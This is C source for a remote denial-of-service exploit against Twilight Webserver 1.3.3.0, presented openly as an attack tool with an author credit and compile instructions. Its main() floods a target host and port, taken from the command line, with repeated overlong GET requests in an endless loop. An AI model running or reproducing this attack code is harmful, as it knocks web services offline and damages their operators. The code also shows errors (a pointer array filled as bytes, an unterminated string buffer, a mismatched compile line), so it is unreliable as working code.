Twilight Webserver 1.3.3.0 (GET) Remote Denial of Service Exploit

                                                /****************************************************************************
*      Denial of Service Attack against Twilight Webserver v1.3.3.0
*       Author: H0tTurk-
*     
*      WebSite: http://www.twilightutilities.com
*       Version: Twilight Webserver v1.3.3.0 $24.95 USD
*       NewVersion: Tw 2.1
*      
*       Exploit: tw.c
*       Compile: gcc twilight -o tw
*       Contact:
*       [-] Mail: [email protected]
*       [-] Web: http://www.ayyildiz.org

*       [-] MSN: [email protected]
*****************************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
        int sockfd;
        struct sockaddr_in srv;
        struct hostent *host;
        char send[1052], *flood[1037], get[3] = "GET", http[12] = "HTTP/1.0\r\n";

        memset(flood, 0x41, 1037);
       
        strncpy(send, get, sizeof(send) -1);
        strncat(send, flood, sizeof(send) - strlen(send) -1);
        strncat(send, http, sizeof(send) - strlen(send) -1);
       
        if(argc < 3)
        {
                printf("Usage: %s [target] <port>\n", argv[0]);
                exit(0);
        }

        if((host = gethostbyname(argv[1])) == NULL)
        {      
                printf("Unknown host!\n");
                exit(0);
        }
       
        srv.sin_family = AF_INET;
        srv.sin_port = htons(atoi(argv[2]));
        srv.sin_addr.s_addr = inet_addr((char*)argv[1]);

        printf("h0t against Twilight Webserver v1.3.3.0\n");

        for(;;)
        {
                if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
                {
                        printf("Can't start socket()!\n"); exit(0);
                }
       
                if(connect(sockfd,(struct sockaddr*)&srv, sizeof(srv)) < 0)
                {
                        printf("Connection to server broken!\n"); close(sockfd);
                }
       
                if(write(sockfd, send, strlen(send)) < 0)
                {
                        break;
                }
       
                close(sockfd);
        }
       
        printf("Attack done!...\n");
       
        return 0;
}